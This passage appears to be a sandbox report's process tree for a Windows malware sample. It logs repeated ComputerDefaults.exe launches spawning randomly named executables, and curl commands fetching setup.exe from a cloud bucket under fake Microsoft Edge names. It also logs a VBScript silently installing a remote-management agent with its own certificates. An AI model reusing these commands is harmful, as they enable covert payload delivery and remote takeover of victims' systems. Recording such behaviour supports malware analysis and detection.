                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:824
                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5396
                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\gGQtJejzekamZfqCadYDiZfGcmdQJJGt.wTo\hPmZvfSBlJOgPfKgRsnBdWdTzyeHlCRe.Fjx.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                              "hPmZvfSBlJOgPfKgRsnBdWdTzyeHlCRe.Fjx.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2256
                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                            /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3816
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4628
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\gGQtJejzekamZfqCadYDiZfGcmdQJJGt.wTo\hPmZvfSBlJOgPfKgRsnBdWdTzyeHlCRe.Fjx.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "hPmZvfSBlJOgPfKgRsnBdWdTzyeHlCRe.Fjx.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6152
                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2752
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:7088
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\gGQtJejzekamZfqCadYDiZfGcmdQJJGt.wTo\hPmZvfSBlJOgPfKgRsnBdWdTzyeHlCRe.Fjx.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "hPmZvfSBlJOgPfKgRsnBdWdTzyeHlCRe.Fjx.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4260
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6956
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6488
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\gGQtJejzekamZfqCadYDiZfGcmdQJJGt.wTo\hPmZvfSBlJOgPfKgRsnBdWdTzyeHlCRe.Fjx.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "hPmZvfSBlJOgPfKgRsnBdWdTzyeHlCRe.Fjx.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1776
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:3368
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1228
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\gGQtJejzekamZfqCadYDiZfGcmdQJJGt.wTo\hPmZvfSBlJOgPfKgRsnBdWdTzyeHlCRe.Fjx.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "hPmZvfSBlJOgPfKgRsnBdWdTzyeHlCRe.Fjx.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6276
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6532
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:3004
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\vTxXpZKZCoMaRJaqBbMxtwsIJwxkyEIn.jLe\vdRTmtDKnzPlTmQkOHJmTlpbGiVjoLDN.XwV.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "vdRTmtDKnzPlTmQkOHJmTlpbGiVjoLDN.XwV.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2700
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5372
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\vTxXpZKZCoMaRJaqBbMxtwsIJwxkyEIn.jLe\vdRTmtDKnzPlTmQkOHJmTlpbGiVjoLDN.XwV.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "vdRTmtDKnzPlTmQkOHJmTlpbGiVjoLDN.XwV.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:7020
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6608
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2436
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6108
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6996
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\gGQtJejzekamZfqCadYDiZfGcmdQJJGt.wTo\hPmZvfSBlJOgPfKgRsnBdWdTzyeHlCRe.Fjx.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "hPmZvfSBlJOgPfKgRsnBdWdTzyeHlCRe.Fjx.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5096
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6460
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4260
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6252
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4912
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6084
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" /S /norestart
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6588
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX11\SetUP.VBS"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:3660
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\msiexec.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX11\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX11\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX11\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX11\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX11\Agentinstalllog.txt"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2380
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" /S /norestart
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5816
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX10\SetUP.VBS"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:464
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\msiexec.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX10\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX10\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX10\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX10\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX10\Agentinstalllog.txt"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2924
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" /S /norestart
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4144
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" /S /norestart
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5632
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX12\SetUP.VBS"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6412
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\msiexec.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX12\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX12\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX12\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX12\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX12\Agentinstalllog.txt"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4360
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6796
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4504
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6032
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5240
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\WkdkGJdJmKIaqOoMGCFpDdyTzPnjUZvQ.ojU\bmeGwOWEgLhCXdXqdtXAplJTAchXYNCG.DWO.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "bmeGwOWEgLhCXdXqdtXAplJTAchXYNCG.DWO.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4360
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2564
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6976
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\WkdkGJdJmKIaqOoMGCFpDdyTzPnjUZvQ.ojU\bmeGwOWEgLhCXdXqdtXAplJTAchXYNCG.DWO.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "bmeGwOWEgLhCXdXqdtXAplJTAchXYNCG.DWO.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5268
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\curl.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.9236.676.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5792
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\curl.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.9236.676.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2648
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\curl.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2176
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\curl.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.9236.676.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6636
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\curl.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:7124
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6928
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2428
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:7140
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2860
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1300
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:3108
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1964
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5636
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\WkdkGJdJmKIaqOoMGCFpDdyTzPnjUZvQ.ojU\bmeGwOWEgLhCXdXqdtXAplJTAchXYNCG.DWO.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "bmeGwOWEgLhCXdXqdtXAplJTAchXYNCG.DWO.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6820
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:3364
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1384
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\WkdkGJdJmKIaqOoMGCFpDdyTzPnjUZvQ.ojU\bmeGwOWEgLhCXdXqdtXAplJTAchXYNCG.DWO.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "bmeGwOWEgLhCXdXqdtXAplJTAchXYNCG.DWO.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6232
